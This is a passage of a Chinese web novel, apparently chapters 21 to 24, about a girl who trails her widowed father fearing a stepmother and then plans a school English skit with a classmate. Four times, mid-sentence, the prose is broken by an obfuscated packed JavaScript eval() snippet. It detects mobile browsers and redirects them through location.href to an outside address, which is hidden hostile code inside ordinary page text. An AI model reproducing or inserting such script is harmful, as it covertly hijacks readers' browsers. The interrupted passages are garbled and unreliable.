- 时间过去一周,这个星期天培训班因故暂停一天,程根生又正好轮休,上午他出门了一次,回来时带着一包哈尔滨大红肠。 一打开纸包,整个屋子都飘满了肉香味。 宏宏馋得等不及开饭,一直围着饭桌打转,自以为没人看着他的时候,踮脚迅速捞起一片红肠,躲进卫生间。 程守萍与爸爸对视一眼,两人默契地一笑,都假装没看见宏宏的举动。 隔了一小会儿,小馋猫又出来作案,迅速拿走一片后躲进卫生间。 程根生无奈地摇摇头,把红肠暂时收进了碗橱。 小馋猫第三次出来作案,踮脚,伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080181|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却发现桌上的大红肠不见了。 他惊讶地问:“大红肠呢?” 程守萍故意说:“你刚才躲哪儿去了?大红肠让爸爸和我吃完了。” 宏宏的小嘴嘟了起来,眼圈也跟着红了,两汪眼泪迅速在眼眶中蓄积。 他才吃了两片大红肠,那么一大包就没有了! 他刚才躲在卫生间里,还没舍得吃太快,像小老鼠一样一点点地啃,花了好久才吃完一片。早知道大红肠这么快就没有了,刚才他就等爸爸和姐姐一起吃了。 宏宏越想越后悔,越想越伤心,忍不住“哇”地一声大哭起来。 程根生又好气又好笑,看一眼程守萍,意思是看你惹哭了弟弟怎么收场。 程守萍却淡定得很:“让他哭呗,谁让他想要吃独食的。” 程根生起初意外,再转念一想,确实,宏宏刚才的举动是有些自私。虽说他还是小孩子,天性里是贪玩贪吃的,但不代表他这样做就是对的。 借着这件事,能让他学会做人的道理,倒是件好事。 程守萍让宏宏哭了一阵,拿出条干净手帕来给他擦眼泪擤鼻涕。 宏宏也哭累了,抽抽噎噎地打着哭嗝。 程守萍问他:“爸爸和姐姐趁你不在的时候把大红肠吃完了,你难过吗?” 宏宏点头,眼泪又要往外涌。 “爸爸和姐姐这样做对不对?” “不对!”宏宏这次摇头摇得可使劲了。 “那你之前趁爸爸和姐姐不注意的时候,偷拿红肠躲起来吃,这样做对不对?” 宏宏羞愧地低下头,很轻很轻地摇了一下头。 “让爸爸再去买点大红肠回来,我们三个一起吃好不好?” 宏宏连连点头,又可怜巴巴地看向爸爸:“爸爸……” 程根生使极大的劲才能憋住笑,沉着脸点点头:“嗯。” 程守萍倒了些热水在脸盆里,调成合适的温度,让宏宏站到水斗前给他洗脸。 程根生借机从碗橱里拿出那包大红肠,推门出去,在楼下绕了一大圈再回来。 看见爸爸回来,手里拿着“新买”的大红肠,宏宏又开心起来,但心里多少还是有点羞愧。吃饭的时候主动给爸爸夹了一片红肠,又往姐姐碗里放一片,最后才给自己夹了一片。 午饭吃完,程根生又要出门。 程守萍开始疑惑起来。 因为家里两个小囡都不大,程根生平时两点一线,出了厂就是回家。休息日要么在家带小囡,要么带姐弟俩去公园附近玩耍,很少有其他社交活动。 大红肠寻常日子是不进门的,逢年过节才会买半根。这时候切红肠还不是横切的,讲究斜刀片,能显得每片都特别大,摆盘的时候才好看。 今天既不过节也不是什么特别的日子,爸爸怎么想起买大红肠回来吃了? 看爸爸今天心情像是特别好的样子,甚至换了身比较新的衣服,出门前还对着镜子梳了梳头发! 程守萍内心警铃大作,他可别是去见对象吧? “爸爸,你去哪里啊?” 程根生犹豫片刻才说:“去……你大嬢嬢那里。” 程守萍喊大嬢嬢的就是程根生的大姐,两家离得不远,公交车两站路不到,走过去也就二十来分钟路。 程根生是家里独子,两个姐妹出嫁后,来往虽然没那么频繁,但逢年过节都要聚会见面的,寒暑假的时候程家姐弟也会去两个姑姑家住几天,和表兄弟姐妹们见见面,一起玩耍嬉戏。 但是,爸爸没什么事为啥要去大姑姑家里呢,还这么闪烁其词的。 不对,爸爸一定有事瞒着她。 22. 【跟踪】 眼看着爸爸换了新衣服,出门前还对镜梳头,程守萍内心警铃大作。 他可别是去见对象吧?要是爸爸瞒着她和对象约会,说不定哪天就会直接把人带回来了,说:“这是你们的新妈妈。” 程守萍默默打了个寒噤,抹去脑海中想象出来的画面,绝对不能让这样的事发生。她一定要跟去看看爸爸的约会对象。 可带着弟弟她就没法偷偷跟踪爸爸,又不能长时间把弟弟一个人留在家里,那样她也没法放心。 “萍萍,你看好弟弟啊。”程根生出门前还特意嘱咐了句。 “哦……好。”程守萍没法子,只能眼睁睁看着爸爸离开。 程根生在楼梯口转了个弯,瞧见一个少年正沿着梯阶上来,手里托着个新皮球,皮球上印着清晰的孙悟空大闹天宫的图案。 这少年一看就不是这楼里的小囡。他生得白净,穿着整洁挺括的蟹青色的确良夹克,精致的鸡心领毛衣,衬衫领子雪白,脚步轻快地上楼,和程根生面对面的时候还喊了声:“叔叔好。” “啊,嗯,你好。”程根生点着头与他错身而过,忍不住回头又看了眼,心头感慨谁家的小囡养得这么好,又懂礼貌又有朝气,宏志长大以后也能是这个样子就好了。 - 程守萍听见敲门声时正帮宏宏脱下绒线衫,准备让他午睡。 她喊了声:“等等。”随后叮嘱宏宏自己进被窝躺好。 走到门后,她留了个心眼,问:“谁啊?” “程同学,我是……”沈继舟话说了一半门就打开了。 程守萍在门内一脸灿烂的笑容,还热情地朝他招手:“正好,你快进来!” 瞧见她的笑容,沈继舟也笑了,进门听见她问:“你下午还有别的事吗?能呆一整个下午吗?” “没别的事。”虽然纳闷她为什么这么问,他还是老老实实地回答了。 “麻烦你帮我看一下弟弟,我有要紧的事,要出去一会儿。”程守萍一边说一边穿上外套,摸了摸口袋,钥匙零钱之类的都在。 她看向沈继舟,目光恳切:“拜托你了!真的是很要紧的事!” 沈继舟不由自主地点点头。 “宏宏在午睡,你只要在外面看着,别让他做危险的事就行。热水瓶里有开水,乐口福在这个柜子里,碗橱里有杯子,你自己冲一下。一定要等着我回来啊。” 一口气交代完,程守萍风风火火地推门出去了。 沈继舟:“……” 有个头发乱蓬蓬的小脑袋从门后探头出来,圆脸蛋肉鼓鼓的。 大眼瞪大眼,对视五秒。 “沈家哥哥?” “是我。” “新皮球!孙悟空!”宏宏看到了他手里的球,欢呼一声推开门,只穿着棉毛衫裤和袜子就跑出来了。 沈继舟:“……” 程同学说要让她弟弟午睡的,这下要怎么办? - 程守萍脚步匆匆地下楼,弄堂口左右张望一下,看到了爸爸的背影。她松了口气,远远地跟在后面。 跟着爸爸穿过两条横马路,到了一条四车道的繁华大路上。 程根生左转,身影消失在拐角处。程守萍急忙小跑跟上,转过弯,瞧见爸爸了才放慢脚步,逐渐拉开距离。 沿这个方向过去,是工人文化宫,旁边还有电影院。大姑妈的家不是这个方向。 爸爸说谎了,果然是来约会的。 到了工人文化宫附近,程守萍远远瞧见文化宫门口有个女人,四十来岁的样子,矮胖矮胖的,体格结实,伸长了脖子东张西望,似乎在等人。 应该不是她吧…… 程根生径直从文化宫门口走过去了,程守萍略微松了口气。 隔壁就是电影院,门口站着的人更多,程守萍在人群中看到个三十来岁的女人,腰身苗条,该丰满的地方又丰盈饱满,一头乌黑的长发丝滑地披在肩后。 不会是她吧,要是她来当后妈的话,爸爸心里还能有她和弟弟的位置嘛…… 等等,这个女人看起来怎么那么眼熟呢? 程守萍猛然想起来了,这不是她学校的校医么?! 难道说…… 她正惊疑不定,就见老程同志目不斜视地从校医面前走过去了。 她长出了一口气。为了不被校医看到认出来,她从人群后面绕了过去。 既不是工人文化宫也不是看电影,老程这到底是要去哪儿约会啊? 程守萍心里嘀咕着,继续远远跟在爸爸后面,走出没多远,看到爸爸转弯进了储蓄所。 她慢慢走到储蓄所外面,从门外向内看去,储蓄所窗口前等着办业务的人排成三四列队伍,爸爸就排在其中一队的末尾。 爸爸进储蓄所,无非是取钱或存钱,这样看来他应该不是出来约会的,可如果是存钱,为啥要骗她说是去大姑姑家?如果是取钱,又是为了什么事取钱? 程守萍一肚皮的问号,在储蓄所外等了大概半个多小时,爸爸的前面只剩下一个排队的人了。 她跟在另外一个成年人身后,走进了储蓄所。里面光线暗淡,光滑的水磨石地面反射着冷光。 “同志,我要取120元钱。”她听见爸爸这么说。 120元,在这个年代算是笔巨款了,即便爸爸每个月存下大半工资,也要存四个月才够。 程守萍心不由一沉,难道是为了结婚要买什么大件?要不然没法解释爸爸为什么会突然提这么大一笔钱出来。 是买自行车,还是手表? 程守萍没在储蓄所内久留,先一步走到外面,在一棵大树后等着。不一会儿,爸爸从储蓄所里出来,她又远远跟上。 爸爸回到方才转弯的路口,继续往前,这下倒确实是大姑姑家的方向了。 已经跟到这会儿了,程守萍索性跟到底,直到眼看着爸爸进入大姑姑家那栋楼。 程守萍心里记挂着仍留在家里的弟弟,不知沈继舟能不能管住宏宏,也就没在大姑姑家附近逗留,直接回了家。 - 程守萍风风火火一通交代后就走了。 沈继舟还没搞清状况呢,一回头,看到宏宏穿着棉毛衫裤,鞋子也不穿就跑出来。 宏宏虽然知道这个大哥哥是姐姐的同学,毕竟才第二次见,还有点怕生,跑到厨房门口就不敢再靠近他了,只眼巴巴地盯着那个崭新的小皮球,大眼睛里全是热切的渴望。 沈继舟看出他的渴望,轻咳一声:“想要玩新皮球吗?” 宏宏疯狂点头。 “去床上躺好,继续睡午觉。” 宏宏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084042|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨了眨眼,转身往房间里去了。 沈继舟暗暗松了口气,走到门口,眼看着宏宏自己爬上大床,钻进被窝,乖乖地合上双眼。 哄小孩好像也没有那么难嘛。 沈继舟这么想着,无事一身轻地回到厨房。程同学说有要紧的事出去,也不知道什么时候才能回来。他有些后悔没带本书来看。 程守萍虽然说让他自己冲乐口福,沈继舟自小到大的教养也不允许他去翻别人家的橱柜,所以也只能倒杯白开水。 等着水凉的时候,他拿起了桌上的收音机,收音机上的按钮都被摩挲得发光发亮,上面原本印着的符号与标注全都磨没了。 但好在收音机的功能简单,这台又是最基础的型号,他稍加观察就知道怎么开了,把音量先调到最小,然后拧开了调频开关。 来回试了试,找到个比较清晰的频道,但播放的内容他不太喜欢。 一回头,又看到了那颗小脑袋。小脑袋见自己被发现,哧溜一下缩了回去。 沈继舟:“……” 放下收音机,来到房间门口,就见宏宏正撅着屁股,手脚并用地往床头爬,试图赶在被抓住之前钻回被窝。 沈继舟在选择威逼还是利诱之间摇摆了片刻,最后决定亲自看着他午睡。 他坐到程守萍的书桌前,神情严肃地盯着床上的小孩。 宏宏睫毛眨动几下,试图张开一丝眼缝偷看的时候,沈继舟就冷冷地说:“不许睁眼。” 宏宏试了两次都被发现了,还听见沈继舟说:“再发现第三次,新皮球我就带回去了。” 沈家哥哥真凶! 这下宏宏再也不敢睁眼,眼睛闭着闭着,不一会儿就真的睡着了。 沈继舟从来没带过弟弟妹妹,吃不准这小家伙是真的睡着,还是仍在装,就索性守在床前。 程守萍的案头,摆放的基本都是教科书和练习簿,唯二的非教科书都是从校图书室借的,《小学生优秀作文选》和《小学高年级数学题选》。 难怪陈老师说她作文进步很大呢,还有数学成绩也提升很快。 沈继舟自己爱看闲书,除了《少年文艺》《儿童时代》这类专给学生看的书,爸爸书架上不少东西方名著他也看过。 但也因此他有很明显的偏科,语文能拿满分,数学成绩却一直在85分至90分之间徘徊。 他抬手翻开了《小学高年级数学题选》,发现上面的题目绝大多数他都不会做,别说不会做了,连题目都看不懂!直径、平方、一元一次方程,这些陌生名词根本连是什么意思都不知道。 但看程守萍夹在书里的草稿纸,她起码做完了里面三分之二的题。 沈继舟深受震撼。 程守萍回到家,打开门时,发现厨房没人,但桌上放着一只印着孙悟空图案的小皮球,不是那种廉价的塑料皮球,而是崭新的橡胶球。 收音机里正在播放着节目,音量倒是已经调到很低,不会影响房间里的人午睡。 她轻轻推开房门,宏宏睡得正香,沈继舟坐在她书桌前,正在写着什么。 她放轻脚步走近,他大概是过于专注没有听到她进来,仍在草稿纸上奋笔疾书。 程守萍伸长了脖子去看。 由于字迹过于潦草奔放,以至于她完全看不懂! 23. 【120元巨款】 程守萍轻咳一声。 沈继舟猛然回头,看见是她,急忙把草稿纸翻了个面,正面朝下,问道:“你,你什么时候回来的。” 程守萍不由失笑:“刚刚才回来。”她的目光移向沈继舟方才翻面的草稿纸,心说你就是不翻面我也看不出你写得是什么啊,“你在写什么?” “没写什么,随便瞎写。”两句话的工夫,沈继舟的颊上就浮起一层红晕,“对不起,用了你的草稿纸。” “几张草稿纸而已,你随便用。” 程守萍心说我看你刚才奋笔疾书那样,根本就是灵感勃发,文思泉涌的样子。但知道他脸薄,也就不去拆穿他了。 加上他今天帮了她很大的忙,因为有他看着宏宏,她才能放心出门跟踪爸爸,发现爸爸提款的事情,所以就更不会去追根问底了。 她看了眼宏宏,仍然睡得很熟的样子,便示意沈继舟到外面说话。 沈继舟等程守萍转身了,才将刚才写的草稿纸折成小块,放入口袋。 两人来到厨房。程守萍看了眼桌上已经凉透的白开水,问他:“你没冲乐口福?” 沈继舟摇头。 “谢谢你帮我看着弟弟。宏宏他有没有调皮啊?”程守萍说着,从橱柜里拿出乐口福罐子,替他冲调一杯特浓版。 至于那杯放凉的白开水,她正好喝来解渴。 “不,他……”沈继舟刚想说宏宏并不调皮的,回想起他之前的一举一动,还是觉得应该统统告诉程同学才对。 程守萍听他说宏宏是怎么穿着袜子跑到厨房的,又在他的威胁之下回到床上装睡,因为被他死死盯住了不敢睁眼,最后才终于睡着。 她不由地大笑。 沈继舟也不由得微笑起来:“你呢?你说的那件要紧事怎么样了?” 程守萍想起那120块钱,心情就沉落下去,不知道爸爸会给他“对象”买什么大件,明明他自己不舍得吃不舍得穿的,那么抠门的人却一下子提了那么多钱…… 沈继舟眼看着她脸上的笑容消失,双眸中的神采也跟着暗淡下去,不由担心地问:“是没赶上吗?以后还有机会吗?” 程守萍朝他勉强笑了笑:“不要紧。” 正在此时,传来钥匙插入门锁后,锁芯弹动的轻微声响。 房门打开,程根生正欲进屋,发现屋里除了女儿之外,还有个陌生少年,不由愣了一愣。 少年起身转向他,神情腼腆地向他问好:“叔叔,你好。” 程根生认出他就是自己出门时在楼梯上偶遇的少年,惊讶之余,不由将目光投向自己女儿。 “他就是沈同学。”程守萍这样介绍。 程根生关上房门,想起来了:“就是借你英语书的那个同学?”他抬头看了眼挂钟,从他离开到回家,差不多有三个小时。 这段时间他一直在这儿?桌上没书没纸,也不像是讨论学习的样子啊。 程根生内心犯嘀咕,对沈继舟就没什么好脸色,将手中尼龙袋子往桌上一放,发出“砰”的一声。 程守萍吓了一跳:“爸?怎么了?” 程根生看到沈继舟杯底剩下的乐口福,脸就更黑了。有心想问他们俩这小半天都在做什么,又不好直接这么问,他便问:“宏宏呢?” “他还在午睡。”程守萍也看了眼挂钟,突然明白过来,沈继舟来的时候爸爸刚出门,很可能两人在楼道里碰过面。 她先倒杯水递过去:“爸,你刚回来,先喝口水。” 程根生沉沉地“嗯”了一声。 程守萍朝沈继舟歉然地笑笑:“沈同学,这会儿时间也不早了,你先回家吧?” 沈继舟从刚才就感觉到了,程同学的爸爸好像不太欢迎他,便朝程根生道别:“叔叔我回去了。” 程根生又是沉沉地“嗯”一声。 沈继舟已经走到门口了,不放心地回头看一眼程守萍,他走了之后程同学会不会被骂呢? 程守萍朝他微笑着,极轻地点了下头,示意自己没事,让他先走。 沈继舟这才开门出去,说了句:“叔叔再见,程同学再见。” 门被轻轻关上。 程守萍把沈继舟喝过的杯子收进水斗,转身对爸爸说:“沈同学刚来那会儿,我正好要让宏宏睡午觉。一不小心让他瞧见那个小皮球,他兴奋得怎么也睡不着,穿着袜子就下地跑出来了。” “最后还是靠沈同学镇住了他,让他乖乖躺好,不许睁眼,他才慢慢睡着了。可能是之前折腾累了,才一直睡到这会儿还没醒。” 程根生面色缓和了些,点点头。 “沈同学来找我,一是把这个小皮球赔给宏宏,二是我们班里在准备元旦的文艺演出,陈老师让大家出节目,我和沈同学商量,是不是能弄个英语对话的小短剧,刚才就是听着广播在找灵感呢。” 程根生这才发现收音机还开着,因为音量调得很低,所以他一开始都没注意。 他彻底释然了,原来他们是在商量学校的活动,再一想,两个小囡都才十来岁,正是最纯真的年纪,是他自己想多了。 一旦想通,程根生倒有些愧疚。他尴尬地轻咳一声,从尼龙袋里掏出一个大纸盒,放在桌上:“萍萍,这给你。” 程守萍讶异地问:“这是什么?” 再定睛细看,黄色的瓦楞纸盒上印着醒目的黑色大字:熊猫牌便携式收录机。 她想到了那120块钱,难以置信地看向爸爸:“是……买给我的?” 不是为了结婚买给对象的吗? 程根生瞧见她不敢相信的表情,不由笑了,抬手摸了摸她头顶:“你不是天天要听英语磁带吗?老是去别人家里也不好,给人添麻烦。以后咱家也有了收录机,你想什么时候读英语,就什么时候读,想听多久就听多久!” 程守萍想起大姑父,他是国营音响设备店的维修员。爸爸一定是托大姑父买的这台收录机。 因为这年头买这些紧俏的电器非常不容易,哪怕有钱有票,哪怕大姑父是内部员工,也不是想买就能很快买到的。 所以她问爸爸去哪里的时候,爸爸犹豫了一下才说去大姑姑家,很可能是因为没把握今天下午拿到机子,这才隐瞒的。 原来是她误会爸爸了,爸爸根本没有什么所谓的“对象”,他全心全意考虑的只有她和宏宏两个。 “爸爸。你下午出门去,我还以为你去见对象了。” 程根生正喝水呢,差点又呛到:“咳咳,萍萍,你怎么会这么想?” “前些天不是樊阿姨给你介绍对象了嘛,你这几天看起来又是心情很好的样子,我想你大概是有对象了才那么开心的。” 程根生摇头。 他还是会时不时想起秀珍,怀念着她的好,怀念她还在的时候,一家人说说笑笑充满幸福感的氛围。 他并没有多余的心思再去找个老婆。让他有点动心的,最主要还是樊美娟那句“能更好地照顾你两个小囡”。 就因为秀珍不在了,萍萍比同年龄的小囡承担了更多的家务,就连一日三餐都吃得那么应付。明明应该是让大人来照料看护她的年纪,她却要帮着干一堆家务,还要照看弟弟。 所以那时候他就打算先问问萍萍是怎么想的。 但是没等他问出口,聪明的女儿就猜到了他想问的,还用同学的后妈举例子,明明白白地告诉他,她不想要后妈。 程根生那时就打消了再找的念头。 后妈当面一套,背后一套的事例,他也是听说过的,当爸爸的当丈夫的夹在中间也是难做,一个不小心就两头不是人,那就真的是家无宁日了。 另找一个女人,只是为了让她来照顾自己两个小囡,对那个女人也不太公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087778|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平。 还不如现在这样简简单单,就父女三人相依为命,女儿那么上进,他现在也一门心思地考级,他们家将来的日子只会越过越好。 他想得其实很多,但归根结底也只是一句:“萍萍你不要担心,爸爸不会再找的,你只要安心学习就好。” 程守萍心想也不能怪她误会:“爸爸你最近好像有开心的事,经常买吃的回来,不像以前那么节省了。” 程根生讶然,难道是因为这个原因才让她胡思乱想的吗?他笑着说道:“爸爸最近是挺开心的,因为欠的债全都还清了。” “真的啊?”程守萍又惊又喜,这确实是一件值得高兴的事! 程根生本来觉得小囡还小,这些财务债务方面的事情从来不对他们提。他每个月的收入,除了一半存起来作为家庭储蓄,还会另外再存一笔,存够一张欠条上的数额,就提出来去还掉一笔债务。 直到上个月,他终于还清了最后一笔欠款。 这之后他就用额外的这笔钱,适当地买些吃用回来,改善改善家里的生活。没想到女儿会因此产生误会。 父女俩这一番摊开来的长谈,解释清楚了很多事,也让彼此都释怀了。 程根生抚着桌上的纸箱,对女儿微笑道:“快拆开看看吧。” “嗯!”程守萍小心地打开纸箱,里面是雪白的硬质泡沫塑料,因为卡得非常紧,从箱子里取出来的时候发出了尖利的划擦声。 拉开外面包裹的泡沫塑料,一台银灰色的崭新收录机展露在眼前。 因为是单卡的收录机,喇叭也是单侧喇叭,比起沈继舟家那台双卡双喇叭的收录机,这台机子整体要小将近一半,但程守萍还是非常开心。 作为一个心理上的成年人,她其实能更深刻地体会到爸爸花下这笔巨款时,对她所寄予的殷切期望与深厚祝福。 她忍不住上前抱住他:“爸爸真好!” 程根生被女儿这一抱,心里也又暖又甜,又有些不好意思,便只催促她:“你快试试声音好不好。” 他从尼龙袋里找出两盒空白磁带:“再试试录音好不好用。” 程守萍插上电源,先拨到收音模式,按着说明书上的方法调频。 “爸爸,姐姐,你们在做啥啊?”宏宏揉着眼睛站在门口问。 程根生将他一把抱起:“睡醒了?” 宏宏点头,目光很快被桌上的新事物吸引住了:“这是什么呀?” “新买的录音机,你姐姐听英语用的。等以后宏宏长大了,也可以用来听英语。” 宏宏起初还觉得新鲜,但见姐姐一直在看说明书,录音机也只是放着广播,和家里原先的老机子没啥大区别,他也就失去了兴趣,拿起沈继舟带来的新皮球玩耍起来。 程守萍用老收音机播放广播,试录了一段,发现虽然有杂音,但音质还算清晰。 收录机还附送了一副耳机,不是几十年后那种入耳式的蓝牙耳机,也不是音质拉满,佩戴舒适的头戴式软包耳机。 这副耳机的头梁是两根细细的不锈钢带,中间有重叠的部分,可以伸缩调节长度。贴着耳朵收音的耳垫部分是硬塑料的外壳,约莫鸽蛋大小,外面包裹着非常薄的一层海绵,几乎可视为没有。 程守萍将耳机线插上,带着耳机听了会儿就觉得耳朵被压得疼,拿下来对镜照一下,耳廓已经压红了。 但好歹也是副耳机,至少插上就能在不影响周围人的情况下收听广播或是磁带了。 “谢谢爸爸!” 她喜滋滋地将收录机拿进房间,在书桌中央放好,电源线就从书桌后方走。耳机则收进附送的塑料收纳盒里。 往后退了两步,程守萍打量着自己的书桌。 她也是有收录两用机的人了! 明天到学校后,第一时间她就要告诉沈继舟这个好消息! 24. 【为一碟醋】 沈继舟属于那种喜欢踩着点到的人,但他也不会迟到,总是能在恰到好处的时间到达。 当上语文课代表后,他通常提早十至十五分钟到校。先收齐作业,整理名单,根据第一节课是否语文课,来决定送作业去老师办公室,还是留在讲台上。等他回到自己座位上,离上课差不多也就一两分钟的时间。 不过今天他来得比较早,和程守萍前后脚进的校门。 “程同学。” 程守萍回头,停步等他追上,两人并肩往教学楼走。 “程同学,你爸爸昨天没说你吧?” 程守萍笑着摇摇头:“没,我爸爸昨天刚回来的时候心情不好,所以对你态度不太好,你别介意啊!” “嗯。不会。”沈继舟说,“他没说你就好。” 昨天他关上门之后,因为放心不下没有马上走,站在程家门外稍微等了一阵,没有听见喝骂声才离开的。 “你不介意就好。我和爸爸说了宏宏调皮不肯午睡,还是靠你才镇住他,让他乖乖睡着的。” 程守萍笑嘻嘻地说:“你猜猜我爸昨天带了什么回来?” “我猜不到。”沈继舟是真心觉得没必要猜来猜去,程叔叔会带什么回家,他怎么想都不可能猜到,何必再多此一举呢? 程守萍:“……” 好吧,那就跳过竞猜环节。 “是——一台收录机!”她的眼睛亮亮的,“以后我在家也能随时听英语啦!对了……” 她从书包里拿出两盘空白磁带递给他:“沈同学,帮我翻录两盘英语磁带好不好?” 沈继舟点头:“好。” 程守萍侧头仔细看了看他脸上的神情,他似乎并不为她感到高兴,甚至还有点无精打采的样子。 “怎么了?你家里有什么事吗?” “没有。”沈继舟收好磁带,大步迈上教学楼的台阶。 “还有个事,沈同学。” “嗯?” “元旦联欢会,我们出个英语小短剧好不好?”她撒的那个谎还得圆回来呢。 沈继舟讶然回头,眼睛里重新有了光:“好啊!” 程守萍心说他还真是喜欢英语啊,本来还无精打采的,一听到英语就来精神了。 - 中午吃过饭后,程守萍和沈继舟就开始讨论短剧用什么形式来表演。 因为学校里大家都没学过英语,所以不适合用太长的对话,句子太复杂的也不行。 如果两个人都用英语对话,大家还是听不懂,只能靠动作和表情硬猜,那肯定也不行。 蔡琳玲出主意说:“要不再加个翻译吧?你们说一句英语,翻译配上一句中文,就和外国电影一样!” 程守萍摇头:“直接翻也太生硬了。” 沈继舟沉吟片刻,说道:“我们就这样编,一个外国人来到中国,找不到地方。他向行人问路,但是双方语言不通,靠手势交流又有各种误会。正着急的时候,有个学生路过,替双方翻译,最后顺利问到了路。这样就不会生硬了。” “这法子好!”既有了剧情,翻译也自然而然融进去了,之前产生误会的部分还能有笑点。 程守萍觉得沈继舟好像还有点编剧才能,也难怪人家作文写得好了,故事信手拈来啊。 剧本理所当然由沈继舟来写。接下来要定的就是角色归属,程守萍是班里唯二会英语的,必然要演其中一个,另一个不懂英文的路人,蔡琳玲毛遂自荐演了。 下午,沈继舟趁课余休息的时间琢磨剧本。 蔡琳玲平均每三分钟就会蹦出个新主意,并推翻她自己之前的提议。 沈继舟索性开启了屏蔽模式,对她所有的建议都是左耳进右耳出。 后排的梁凯一直在听他们讨论,这时候插了一句:“要不要做道具?我可以做道具或者画布景。” 王新宇说他也想参与,随便让他干啥都行。 到最后,这个本来只有两三个人的英语小短剧,一整个小组的人都参与进来了,成了小组节目。 第二天一早,沈继舟拿出了成形的第一稿剧本,先给程守萍看。 程守萍还没细看内容,第一眼就觉得他的字迹工整不少。原先他写的稿子,潦草连笔就不说了,每个字也是歪歪斜斜的没个正形。这一份稿子,至少每个字都是立正的,连笔也几乎没有了。 再仔细一瞧,簿子前面一页被撕掉了。 原来是重新誊抄过了。不过看誊抄的字迹,也应该也是练过一段时间的,一笔一划都规范了许多。 程守萍嘴角含笑,开始看剧本正文。 她看完觉得故事和对话都很顺畅,只不过形式上更像微型小说,而不是剧本。 不过就是学生演个小短剧,好像也没必要那么专业,大家能把台词背熟,流畅地完成对话就行了。 另外还有一点,她觉得沈继舟写的英语句子都太长太难了,还有许多她不认识的生词,根本不是初中英语那个级别的。 沈继舟居然说:“反正大家都听不懂,简单和难有什么区别吗?” 程守萍被他气笑了:“对我来说有区别啊,要背那么难、那么长句子的人是我啊。” “我爸爸说英美人就是那样说话的,初中英语上的对话都是简化过的。”他指了指剧本,“真正难的也就这一句。你要是不会念,我陪你多练练就好了。” “再说了,反正大家也听不懂,你真的说错了,也没人听得出来。” 可是你听得出来啊!程守萍心里暗暗嘀咕。 不过既然连沈继舟的爸爸都说了,这才是英美人会说的英语,她就一定要想办法学会。那不就是她学英语的初衷吗——有一天能够和真正的外国人用英语流利地交流。 蔡琳玲今天又改主意了,她不想演那个不懂英文的路人了,她想要当导演。 程守萍好笑地望着她:“这么小的短剧还用得着导演?” “那句话怎么说的来着,麻雀再小,也有心肝肚肠啊!再短的剧也是个剧,没导演怎么行啊?” “行吧行吧,蔡大导演。” 蔡大导演还没读完剧本,意见就来了:“外国友人要戴个假发吧?不然也不像外国人啊,可是要上哪儿搞假发呢?” 外国友人扮演者沈继舟同学头也没抬,假装没听见她这句。 大家都被这件事难住了,只从电影里看到演员通过假发假胡子来改装易容的,这年头谁家会有假发啊,大商店也不见卖的呀。 张佑军想了想,说:“我家有个墨镜,戴墨镜行不行?” 蔡导首肯了:“有总比没有好,排戏的时候拿来试试。” 至于道具方面,梁凯一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096050|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人制作忙不过来,周亦欣和王向珊帮忙分担了一部道具制作。 接着是定具体排练的地点,在学校肯定不行,剧情都被人看光了还演什么?家里又没有那么大的地方。 最后地点定在了梁凯家楼下,他家住在大院里,楼下有比较大的场地可以用来排练。而且他画的道具背景板也比较大,带来带去不方便,在他家楼下排练的话,就能在排练时用上这些道具了。 傍晚时分,大院里来来往往的人不少,下班的人互相打着招呼,停下聊几句家常;放学的孩子们聚在一起,玩着游戏;还有各家主妇或煮夫,拎出煤球炉子点火扇风,准备烧晚饭。 不过这些嘈杂主要集中在前院,后院是晒场,精明的主妇们不会等太阳落山才来收衣物被褥,早早就把晾晒得蓬松干燥仍带阳光余温的被服衣物收回家了。 所以程守萍他们来排练短剧的时候,后院正好是空着的。 戴墨镜的提议被沈继舟拒绝了,他说:“戴着这个不像外国友人,像盲人。” 张佑军便戴上墨镜让大家看看效果,过大的墨镜勉强架在他鼻梁上,黑乎乎的镜片几乎遮掉了他大半张面孔,那样子又搞怪又滑稽,果然不像外国友人。 